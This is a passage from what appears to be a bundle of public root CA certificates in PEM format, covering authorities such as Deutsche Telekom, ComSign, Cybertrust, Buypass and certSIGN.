qMqs+1oEdjneX/H5s7/zA1hV0qq34wQi0fiU2iIIAI3TfCZdzHd55yx4Oagmcw6iXSVphU9VDprv xrlE4Vc93x9UIuVvZaozhDrzznq+VZeujRIPFDPiUHDDSYcTvFHe15gSWu86gzOSBnWLknwSaHtw ag+1m7Z3W0hZneTvWq3zwZ7U10VOylY0Ibw+F1tvdwxIAUMpsN0/lm7mlaoMwCC2/T42J5zjXM9O gdwZu5GQfezmlwQek8wiSdeXhrYTCjxDI3d+8NzmzSQfO4ObNDqDNOMCAwEAAaNjMGEwHwYDVR0j BBgwFoAUkqR1LKSevoFE63n8isWVpesQdXMwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AYYwHQYDVR0OBBYEFJKkdSyknr6BROt5/IrFlaXrEHVzMA0GCSqGSIb3DQEBBQUAA4IBAQAo0uCG 1eb4e/CX3CJrO5UUVg8RMKWaTzqwOuAGy2X17caXJ/4l8lfmXpWMPmRgFVp/Lw0BxbFg/UU1z/Cy vwbZ71q+s2IhtNerNXxTPqYn8aEt2hojnczd7Dwtnic0XQ/CNnm8yUpiLe1r2X1BQ3y2qsrtYbE3 ghUJGooWMNjsydZHcnhLEEYUjl8Or+zHL6sQ17bxbuyGssLoDZJz3KL0Dzq/YSMQiZxIQG5wALPT ujdEWBF6AmqI8Dc08BnprNRlc/ZpjGSUOnmFKbAWKwyCPwacx/0QK54PLLae4xW/2TYcuiUaUj0a 7CIMHOCkoj3w6DnPgcB77V0fb8XQC9eY -----END CERTIFICATE----- Deutsche Telekom Root CA 2 ========================== -----BEGIN CERTIFICATE----- MIIDnzCCAoegAwIBAgIBJjANBgkqhkiG9w0BAQUFADBxMQswCQYDVQQGEwJERTEcMBoGA1UEChMT RGV1dHNjaGUgVGVsZWtvbSBBRzEfMB0GA1UECxMWVC1UZWxlU2VjIFRydXN0IENlbnRlcjEjMCEG A1UEAxMaRGV1dHNjaGUgVGVsZWtvbSBSb290IENBIDIwHhcNOTkwNzA5MTIxMTAwWhcNMTkwNzA5 MjM1OTAwWjBxMQswCQYDVQQGEwJERTEcMBoGA1UEChMTRGV1dHNjaGUgVGVsZWtvbSBBRzEfMB0G A1UECxMWVC1UZWxlU2VjIFRydXN0IENlbnRlcjEjMCEGA1UEAxMaRGV1dHNjaGUgVGVsZWtvbSBS b290IENBIDIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCrC6M14IspFLEUha88EOQ5 bzVdSq7d6mGNlUn0b2SjGmBmpKlAIoTZ1KXleJMOaAGtuU1cOs7TuKhCQN/Po7qCWWqSG6wcmtoI KyUn+WkjR/Hg6yx6m/UTAtB+NHzCnjwAWav12gz1MjwrrFDa1sPeg5TKqAyZMg4ISFZbavva4VhY AUlfckE8FQYBjl2tqriTtM2e66foai1SNNs671x1Udrb8zH57nGYMsRUFUQM+ZtV7a3fGAigo4aK Se5TBY8ZTNXeWHmb0mocQqvF1afPaA+W5OFhmHZhyJF81j4A4pFQh+GdCuatl9Idxjp9y7zaAzTV jlsB9WoHtxa2bkp/AgMBAAGjQjBAMB0GA1UdDgQWBBQxw3kbuvVT1xfgiXotF2wKsyudMzAPBgNV HRMECDAGAQH/AgEFMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAlGRZrTlk5ynr E/5aw4sTV8gEJPB0d8Bg42f76Ymmg7+Wgnxu1MM9756AbrsptJh6sTtU6zkXR34ajgv8HzFZMQSy zhfzLMdiNlXiItiJVbSYSKpk+tYcNthEeFpaIzpXl/V6ME+un2pMSyuOoAPjPuCp1NJ70rOo4nI8 rZ7/gFnkm0W09juwzTkZmDLl6iFhkOQxIY40sfcvNUqFENrnijchvllj4PKFiDFT1FQUhXB59C4G dyd1Lx+4ivn+xbrYNuSD7Odlt79jWvNGr4GUN9RBjNYj1h7P9WgbRGOiWrqnNVmh5XAFmw4jV5mU Cm26OWMohpLzGITY+9HPBVZkVw== -----END CERTIFICATE----- ComSign CA ========== -----BEGIN CERTIFICATE----- MIIDkzCCAnugAwIBAgIQFBOWgxRVjOp7Y+X8NId3RDANBgkqhkiG9w0BAQUFADA0MRMwEQYDVQQD EwpDb21TaWduIENBMRAwDgYDVQQKEwdDb21TaWduMQswCQYDVQQGEwJJTDAeFw0wNDAzMjQxMTMy MThaFw0yOTAzMTkxNTAyMThaMDQxEzARBgNVBAMTCkNvbVNpZ24gQ0ExEDAOBgNVBAoTB0NvbVNp Z24xCzAJBgNVBAYTAklMMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA8ORUaSvTx49q ROR+WCf4C9DklBKK8Rs4OC8fMZwG1Cyn3gsqrhqg455qv588x26i+YtkbDqthVVRVKU4VbirgwTy P2Q298CNQ0NqZtH3FyrV7zb6MBBC11PN+fozc0yz6YQgitZBJzXkOPqUm7h65HkfM/sb2CEJKHxN GGleZIp6GZPKfuzzcuc3B1hZKKxC+cX/zT/npfo4sdAMx9lSGlPWgcxCejVb7Us6eva1jsz/D3zk YDaHL63woSV9/9JLEYhwVKZBqGdTUkJe5DSe5L6j7KpiXd3DTKaCQeQzC6zJMw9kglcq/QytNuEM rkvF7zuZ2SOzW120V+x0cAwqTwIDAQABo4GgMIGdMAwGA1UdEwQFMAMBAf8wPQYDVR0fBDYwNDAy oDCgLoYsaHR0cDovL2ZlZGlyLmNvbXNpZ24uY28uaWwvY3JsL0NvbVNpZ25DQS5jcmwwDgYDVR0P AQH/BAQDAgGGMB8GA1UdIwQYMBaAFEsBmz5WGmU2dst7l6qSBe4y5ygxMB0GA1UdDgQWBBRLAZs+ VhplNnbLe5eqkgXuMucoMTANBgkqhkiG9w0BAQUFAAOCAQEA0Nmlfv4pYEWdfoPPbrxHbvUanlR2 QnG0PFg/LUAlQvaBnPGJEMgOqnhPOAlXsDzACPw1jvFIUY0McXS6hMTXcpuEfDhOZAYnKuGntewI mbQKDdSFc8gS4TXt8QUxHXOZDOuWyt3T5oWq8Ir7dcHyCTxlZWTzTNity4hp8+SDtwy9F1qWF8pb /627HOkthIDYIb6FUtnUdLlphbpN7Sgy6/lhSuTENh4Z3G+EER+V9YMoGKgzkkMn3V0TBEVPh9VG zT2ouvDzuFYkRes3x+F2T3I5GN9+dHLHcy056mDmrRGiVod7w2ia/viMcKjfZTL0pECMocJEAw6U AGegcQCCSA== -----END CERTIFICATE----- ComSign Secured CA ================== -----BEGIN CERTIFICATE----- MIIDqzCCApOgAwIBAgIRAMcoRwmzuGxFjB36JPU2TukwDQYJKoZIhvcNAQEFBQAwPDEbMBkGA1UE AxMSQ29tU2lnbiBTZWN1cmVkIENBMRAwDgYDVQQKEwdDb21TaWduMQswCQYDVQQGEwJJTDAeFw0w NDAzMjQxMTM3MjBaFw0yOTAzMTYxNTA0NTZaMDwxGzAZBgNVBAMTEkNvbVNpZ24gU2VjdXJlZCBD QTEQMA4GA1UEChMHQ29tU2lnbjELMAkGA1UEBhMCSUwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQDGtWhfHZQVw6QIVS3joFd67+l0Kru5fFdJGhFeTymHDEjWaueP1H5XJLkGieQcPOqs 49ohgHMhCu95mGwfCP+hUH3ymBvJVG8+pSjsIQQPRbsHPaHA+iqYHU4Gk/v1iDurX8sWv+bznkqH 7Rnqwp9D5PGBpX8QTz7RSmKtUxvLg/8HZaWSLWapW7ha9B20IZFKF3ueMv5WJDmyVIRD9YTC2LxB kMyd1mja6YJQqTtoz7VdApRgFrFD2UNd3V2Hbuq7s8lr9gOUCXDeFhF6K+h2j0kQmHe5Y1yLM5d1 9guMsqtb3nQgJT/j8xH5h2iGNXHDHYwt6+UarA9z1YJZQIDTAgMBAAGjgacwgaQwDAYDVR0TBAUw AwEB/zBEBgNVHR8EPTA7MDmgN6A1hjNodHRwOi8vZmVkaXIuY29tc2lnbi5jby5pbC9jcmwvQ29t U2lnblNlY3VyZWRDQS5jcmwwDgYDVR0PAQH/BAQDAgGGMB8GA1UdIwQYMBaAFMFL7XC29z58ADsA j8c+DkWfHl3sMB0GA1UdDgQWBBTBS+1wtvc+fAA7AI/HPg5Fnx5d7DANBgkqhkiG9w0BAQUFAAOC AQEAFs/ukhNQq3sUnjO2QiBq1BW9Cav8cujvR3qQrFHBZE7piL1DRYHjZiM/EoZNGeQFsOY3wo3a BijJD4mkU6l1P7CW+6tMM1X5eCZGbxs2mPtCdsGCuY7e+0X5YxtiOzkGynd6qDwJz2w2PQ8KRUtp FhpFfTMDZflScZAmlaxMDPWLkz/MdXSFmLr/YnpNH4n+rr2UAJm/EaXc4HnFFgt9AmEd6oX5AhVP 51qJThRv4zdLhfXBPGHg/QVBspJ/wx2g0K5SZGBrGMYmnNj1ZOQ2GmKfig8+/21OGVZOIJFsnzQz OjRXUDpvgV4GxvU+fE6OK85lBi5d0ipTdF7Tbieejw== -----END CERTIFICATE----- Cybertrust Global Root ====================== -----BEGIN CERTIFICATE----- MIIDoTCCAomgAwIBAgILBAAAAAABD4WqLUgwDQYJKoZIhvcNAQEFBQAwOzEYMBYGA1UEChMPQ3li ZXJ0cnVzdCwgSW5jMR8wHQYDVQQDExZDeWJlcnRydXN0IEdsb2JhbCBSb290MB4XDTA2MTIxNTA4 MDAwMFoXDTIxMTIxNTA4MDAwMFowOzEYMBYGA1UEChMPQ3liZXJ0cnVzdCwgSW5jMR8wHQYDVQQD ExZDeWJlcnRydXN0IEdsb2JhbCBSb290MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA +Mi8vRRQZhP/8NN57CPytxrHjoXxEnOmGaoQ25yiZXRadz5RfVb23CO21O1fWLE3TdVJDm71aofW 0ozSJ8bi/zafmGWgE07GKmSb1ZASzxQG9Dvj1Ci+6A74q05IlG2OlTEQXO2iLb3VOm2yHLtgwEZL AfVJrn5GitB0jaEMAs7u/OePuGtm839EAL9mJRQr3RAwHQeWP032a7iPt3sMpTjr3kfb1V05/Iin 89cqdPHoWqI7n1C6poxFNcJQZZXcY4Lv3b93TZxiyWNzFtApD0mpSPCzqrdsxacwOUBdrsTiXSZT 8M4cIwhhqJQZugRiQOwfOHB3EgZxpzAYXSUnpQIDAQABo4GlMIGiMA4GA1UdDwEB/wQEAwIBBjAP BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBS2CHsNesysIEyGVjJez6tuhS1wVzA/BgNVHR8EODA2 MDSgMqAwhi5odHRwOi8vd3d3Mi5wdWJsaWMtdHJ1c3QuY29tL2NybC9jdC9jdHJvb3QuY3JsMB8G A1UdIwQYMBaAFLYIew16zKwgTIZWMl7Pq26FLXBXMA0GCSqGSIb3DQEBBQUAA4IBAQBW7wojoFRO lZfJ+InaRcHUowAl9B8Tq7ejhVhpwjCt2BWKLePJzYFa+HMjWqd8BfP9IjsO0QbE2zZMcwSO5bAi 5MXzLqXZI+O4Tkogp24CJJ8iYGd7ix1yCcUxXOl5n4BHPa2hCwcUPUf/A2kaDAtE52Mlp3+yybh2 hO0j9n0Hq0V+09+zv+mKts2oomcrUtW3ZfA5TGOgkXmTUg9U3YO7n9GPp1Nzw8v/MOx8BLjYRB+T X3EJIrduPuocA06dGiBh+4E37F78CkWr1+cXVdCg6mCbpvbjjFspwgZgFJ0tl0ypkxWdYcQBX0jW WL1WMRJOEcgh4LMRkWXbtKaIOM5V -----END CERTIFICATE----- ePKI Root Certification Authority ================================= -----BEGIN CERTIFICATE----- MIIFsDCCA5igAwIBAgIQFci9ZUdcr7iXAF7kBtK8nTANBgkqhkiG9w0BAQUFADBeMQswCQYDVQQG EwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0ZC4xKjAoBgNVBAsMIWVQS0kg Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNDEyMjAwMjMxMjdaFw0zNDEyMjAwMjMx MjdaMF4xCzAJBgNVBAYTAlRXMSMwIQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEq MCgGA1UECwwhZVBLSSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0B AQEFAAOCAg8AMIICCgKCAgEA4SUP7o3biDN1Z82tH306Tm2d0y8U82N0ywEhajfqhFAHSyZbCUNs IZ5qyNUD9WBpj8zwIuQf5/dqIjG3LBXy4P4AakP/h2XGtRrBp0xtInAhijHyl3SJCRImHJ7K2RKi lTza6We/CKBk49ZCt0Xvl/T29de1ShUCWH2YWEtgvM3XDZoTM1PRYfl61dd4s5oz9wCGzh1NlDiv qOx4UXCKXBCDUSH3ET00hl7lSM2XgYI1TBnsZfZrxQWh7kcT1rMhJ5QQCtkkO7q+RBNGMD+XPNjX 12ruOzjjK9SXDrkb5wdJfzcq+Xd4z1TtW0ado4AOkUPB1ltfFLqfpo0kR0BZv3I4sjZsN/+Z0V0O WQqraffAsgRFelQArr5T9rXn4fg8ozHSqf4hUmTFpmfwdQcGlBSBVcYn5AGPF8Fqcde+S/uUWH1+ ETOxQvdibBjWzwloPn9s9h6PYq2lY9sJpx8iQkEeb5mKPtf5P0B6ebClAZLSnT0IFaUQAS2zMnao lQ2zepr7BxB4EW/hj8e6DyUadCrlHJhBmd8hh+iVBmoKs2pHdmX2Os+PYhcZewoozRrSgx4hxyy/ vv9haLdnG7t4TY3OZ+XkwY63I2binZB1NJipNiuKmpS5nezMirH4JYlcWrYvjB9teSSnUmjDhDXi Zo1jDiVN1Rmy5nk3pyKdVDECAwEAAaNqMGgwHQYDVR0OBBYEFB4M97Zn8uGSJglFwFU5Lnc/Qkqi MAwGA1UdEwQFMAMBAf8wOQYEZyoHAAQxMC8wLQIBADAJBgUrDgMCGgUAMAcGBWcqAwAABBRFsMLH ClZ87lt4DJX5GFPBphzYEDANBgkqhkiG9w0BAQUFAAOCAgEACbODU1kBPpVJufGBuvl2ICO1J2B0 1GqZNF5sAFPZn/KmsSQHRGoqxqWOeBLoR9lYGxMqXnmbnwoqZ6YlPwZpVnPDimZI+ymBV3QGypzq KOg4ZyYr8dW1P2WT+DZdjo2NQCCHGervJ8A9tDkPJXtoUHRVnAxZfVo9QZQlUgjgRywVMRnVvwdV xrsStZf0X4OFunHB2WyBEXYKCrC/gpf36j36+uwtqSiUO1bd0lEursC9CBWMd1I0ltabrNMdjmEP NXubrjlpC2JgQCA2j6/7Nu4tCEoduL+bXPjqpRugc6bY+G7gMwRfaKonh+3ZwZCc7b3jajWvY9+r GNm65ulK6lCKD2GTHuItGeIwlDWSXQ62B68ZgI9HkFFLLk3dheLSClIKF5r8GrBQAuUBo2M3IUxE xJtRmREOc5wGj1QupyheRDmHVi03vYVElOEMSyycw5KFNGHLD7ibSkNS/jQ6fbjpKdx2qcgw+BRx gMYeNkh0IkFch4LoGHGLQYlE535YW6i4jRPpp2zDR+2zGp1iro2C6pSe3VkQw63d4k3jMdXH7Ojy sP6SHhYKGvzZ8/gntsm+HbRsZJB/9OTEW9c3rkIO3aQab3yIVMUWbuF6aC74Or8NpDyJO3inTmOD BCEIZ43ygknQW/2xzQ+DhNQ+IIX3Sj0rnP0qCglN6oH4EZw= -----END CERTIFICATE----- T\xc3\x9c\x42\xC4\xB0TAK UEKAE K\xC3\xB6k Sertifika Hizmet Sa\xC4\x9Flay\xc4\xb1\x63\xc4\xb1s\xc4\xb1 - S\xC3\xBCr\xC3\xBCm 3 ============================================================================================================================= -----BEGIN CERTIFICATE----- MIIFFzCCA/+gAwIBAgIBETANBgkqhkiG9w0BAQUFADCCASsxCzAJBgNVBAYTAlRSMRgwFgYDVQQH DA9HZWJ6ZSAtIEtvY2FlbGkxRzBFBgNVBAoMPlTDvHJraXllIEJpbGltc2VsIHZlIFRla25vbG9q aWsgQXJhxZ90xLFybWEgS3VydW11IC0gVMOcQsSwVEFLMUgwRgYDVQQLDD9VbHVzYWwgRWxla3Ry b25payB2ZSBLcmlwdG9sb2ppIEFyYcWfdMSxcm1hIEVuc3RpdMO8c8O8IC0gVUVLQUUxIzAhBgNV BAsMGkthbXUgU2VydGlmaWthc3lvbiBNZXJrZXppMUowSAYDVQQDDEFUw5xCxLBUQUsgVUVLQUUg S8O2ayBTZXJ0aWZpa2EgSGl6bWV0IFNhxJ9sYXnEsWPEsXPEsSAtIFPDvHLDvG0gMzAeFw0wNzA4 MjQxMTM3MDdaFw0xNzA4MjExMTM3MDdaMIIBKzELMAkGA1UEBhMCVFIxGDAWBgNVBAcMD0dlYnpl IC0gS29jYWVsaTFHMEUGA1UECgw+VMO8cmtpeWUgQmlsaW1zZWwgdmUgVGVrbm9sb2ppayBBcmHF n3TEsXJtYSBLdXJ1bXUgLSBUw5xCxLBUQUsxSDBGBgNVBAsMP1VsdXNhbCBFbGVrdHJvbmlrIHZl IEtyaXB0b2xvamkgQXJhxZ90xLFybWEgRW5zdGl0w7xzw7wgLSBVRUtBRTEjMCEGA1UECwwaS2Ft dSBTZXJ0aWZpa2FzeW9uIE1lcmtlemkxSjBIBgNVBAMMQVTDnELEsFRBSyBVRUtBRSBLw7ZrIFNl cnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxIC0gU8O8csO8bSAzMIIBIjANBgkqhkiG9w0B AQEFAAOCAQ8AMIIBCgKCAQEAim1L/xCIOsP2fpTo6iBkcK4hgb46ezzb8R1Sf1n68yJMlaCQvEhO Eav7t7WNeoMojCZG2E6VQIdhn8WebYGHV2yKO7Rm6sxA/OOqbLLLAdsyv9Lrhc+hDVXDWzhXcLh1 xnnRFDDtG1hba+818qEhTsXOfJlfbLm4IpNQp81McGq+agV/E5wrHur+R84EpW+sky58K5+eeROR 6Oqeyjh1jmKwlZMq5d/pXpduIF9fhHpEORlAHLpVK/swsoHvhOPc7Jg4OQOFCKlUAwUp8MmPi+oL hmUZEdPpCSPeaJMDyTYcIW7OjGbxmTDY17PDHfiBLqi9ggtm/oLL4eAagsNAgQIDAQABo0IwQDAd BgNVHQ4EFgQUvYiHyY/2pAoLquvF/pEjnatKijIwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQF MAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAB18+kmPNOm3JpIWmgV050vQbTlswyb2zrgxvMTfvCr4 N5EY3ATIZJkrGG2AA1nJrvhY0D7twyOfaTyGOBye79oneNGEN3GKPEs5z35FBtYt2IpNeBLWrcLT y9LQQfMmNkqblWwM7uXRQydmwYj3erMgbOqwaSvHIOgMA8RBBZniP+Rr+KCGgceExh/VS4ESshYh LBOhgLJeDEoTniDYYkCrkOpkSi+sDQESeUWoL4cZaMjihccwsnX5OD+ywJO0a+IDRM5noN+J1q2M dqMTw5RhK2vZbMEHCiIHhWyFJEapvj+LeISCfiQMnf2BN+MlqO02TpUsyZyQ2uypQjyttgI= -----END CERTIFICATE----- Buypass Class 2 CA 1 ==================== -----BEGIN CERTIFICATE----- MIIDUzCCAjugAwIBAgIBATANBgkqhkiG9w0BAQUFADBLMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxHTAbBgNVBAMMFEJ1eXBhc3MgQ2xhc3MgMiBDQSAxMB4XDTA2 MTAxMzEwMjUwOVoXDTE2MTAxMzEwMjUwOVowSzELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBh c3MgQVMtOTgzMTYzMzI3MR0wGwYDVQQDDBRCdXlwYXNzIENsYXNzIDIgQ0EgMTCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBAIs8B0XY9t/mx8q6jUPFR42wWsE425KEHK8T1A9vNkYgxC7M cXA0ojTTNy7Y3Tp3L8DrKehc0rWpkTSHIln+zNvnma+WwajHQN2lFYxuyHyXA8vmIPLXl18xoS83 0r7uvqmtqEyeIWZDO6i88wmjONVZJMHCR3axiFyCO7srpgTXjAePzdVBHfCuuCkslFJgNJQ72uA4 0Z0zPhX0kzLFANq1KWYOOngPIVJfAuWSeyXTkh4vFZ2B5J2O6O+JzhRMVB0cgRJNcKi+EAUXfh/R uFdV7c27UsKwHnjCTTZoy1YmwVLBvXb3WNVyfh9EdrsAiR0WnVE1703CVu9r4Iw7DekCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUP42aWYv8e3uco684sDntkHGA1sgwDgYDVR0P AQH/BAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQAVGn4TirnoB6NLJzKyQJHyIdFkhb5jatLPgcIV 1Xp+DCmsNx4cfHZSldq1fyOhKXdlyTKdqC5Wq2B2zha0jX94wNWZUYN/Xtm+DKhQ7SLHrQVMdvvt 7h5HZPb3J31cKA9FxVxiXqaakZG3Uxcu3K1gnZZkOb1naLKuBctN518fV4bVIJwo+28TOPX2EZL2 fZleHwzoq0QkKXJAPTZSr4xYkHPB7GEseaHsh7U/2k3ZIQAw3pDaDtMaSKk+hQsUi4y8QZ5q9w5w wDX3OaJdZtB7WZ+oRxKaJyOkLY4ng5IgodcVf/EuGO70SH8vf/GhGLWhC5SgYiAynB321O+/TIho -----END CERTIFICATE----- Buypass Class 3 CA 1 ==================== -----BEGIN CERTIFICATE----- MIIDUzCCAjugAwIBAgIBAjANBgkqhkiG9w0BAQUFADBLMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxHTAbBgNVBAMMFEJ1eXBhc3MgQ2xhc3MgMyBDQSAxMB4XDTA1 MDUwOTE0MTMwM1oXDTE1MDUwOTE0MTMwM1owSzELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBh c3MgQVMtOTgzMTYzMzI3MR0wGwYDVQQDDBRCdXlwYXNzIENsYXNzIDMgQ0EgMTCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBAKSO13TZKWTeXx+HgJHqTjnmGcZEC4DVC69TB4sSveZn8AKx ifZgisRbsELRwCGoy+Gb72RRtqfPFfV0gGgEkKBYouZ0plNTVUhjP5JW3SROjvi6K//zNIqeKNc0 n6wv1g/xpC+9UrJJhW05NfBEMJNGJPO251P7vGGvqaMU+8IXF4Rs4HyI+MkcVyzwPX6UvCWThOia AJpFBUJXgPROztmuOfbIUxAMZTpHe2DC1vqRycZxbL2RhzyRhkmr8w+gbCZ2Xhysm3HljbybIR6c 1jh+JIAVMYKWsUnTYjdbiAwKYjT+p0h+mbEwi5A3lRyoH6UsjfRVyNvdWQrCrXig9IsCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUOBTmyPCppAP0Tj4io1vy1uCtQHQwDgYDVR0P AQH/BAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQABZ6OMySU9E2NdFm/soT4JXJEVKirZgCFPBdy7 pYmrEzMqnji3jG8CcmPHc3ceCQa6Oyh7pEfJYWsICCD8igWKH7y6xsL+z27sEzNxZy5p+qksP2bA EllNC1QCkoS72xLvg3BweMhT+t/Gxv/ciC8HwEmdMldg0/L2mSlf56oBzKwzqBwKu5HEA6BvtjT5 htOzdlSY9EqBs1OdTUDs5XcTRa9bqh/YL0yCe/4qxFi7T/ye/QNlGioOw6UgFpRreaaiErS7GqQj el/wroQk5PMr+4okoyeYZdowdXb8GZHo2+ubPzK/QJcHJrrM85SFSnonk8+QQtS4Wxam58tAA915 -----END CERTIFICATE----- EBG Elektronik Sertifika Hizmet Sa\xC4\x9Flay\xc4\xb1\x63\xc4\xb1s\xc4\xb1 ========================================================================== -----BEGIN CERTIFICATE----- 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 -----END CERTIFICATE----- certSIGN ROOT CA ================ -----BEGIN CERTIFICATE----- MIIDODCCAiCgAwIBAgIGIAYFFnACMA0GCSqGSIb3DQEBBQUAMDsxCzAJBgNVBAYTAlJPMREwDwYD VQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBDQTAeFw0wNjA3MDQxNzIwMDRa Fw0zMTA3MDQxNzIwMDRaMDsxCzAJBgNVBAYTAlJPMREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UE CxMQY2VydFNJR04gUk9PVCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALczuX7I JUqOtdu0KBuqV5Do0SLTZLrTk+jUrIZhQGpgV2hUhE28alQCBf/fm5oqrl0Hj0rDKH/v+yv6efHH rfAQUySQi2bJqIirr1qjAOm+ukbuW3N7LBeCgV5iLKECZbO9xSsAfsT8AzNXDe3i+s5dRdY4zTW2 ssHQnIFKquSyAVwdj1+ZxLGt24gh65AIgoDzMKND5pCCrlUoSe1b16kQOA7+j0xbm0bqQfWwCHTD 0IgztnzXdN/chNFDDnU5oSVAKOp4yw4sLjmdjItuFhwvJoIQ4uNllAoEwF73XVv4EOLQunpL+943 AAAaWyjj0pxzPjKHmKHJUS/X3qwzs08CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8B Af8EBAMCAcYwHQYDVR0OBBYEFOCMm9slSbPxfIbWskKHC9BroNnkMA0GCSqGSIb3DQEBBQUAA4IB AQA+0hyJLjX8+HXd5n9liPRyTMks1zJO890ZeUe9jjtbkw9QSSQTaxQGcu8J06Gh40CEyecYMnQ8 SG4Pn0vU9x7Tk4ZkVJdjclDVVc/6IJMCopvDI5NOFlV2oHB5bc0hH88vLbwZ44gx+FkagQnIl6Z0 x2DEW8xXjrJ1/RsCCdtZb3KTafcxQdaIOL+Hsr0Wefmq5L6IJd1hJyMctTEHBDa0GpC9oHRxUIlt vBTjD4au8as+x6AJzKNI0eDbZOeStc+vckNwi/nDhDwTqn6Sm1dTk/pwwpEOMfmbZ13pljheX7Nz TogVZ96edhBiIL5VaZVDADlN9u6wWk5JRFRYX0KD -----END CERTIFICATE----- CNNIC ROOT ========== -----BEGIN CERTIFICATE----- 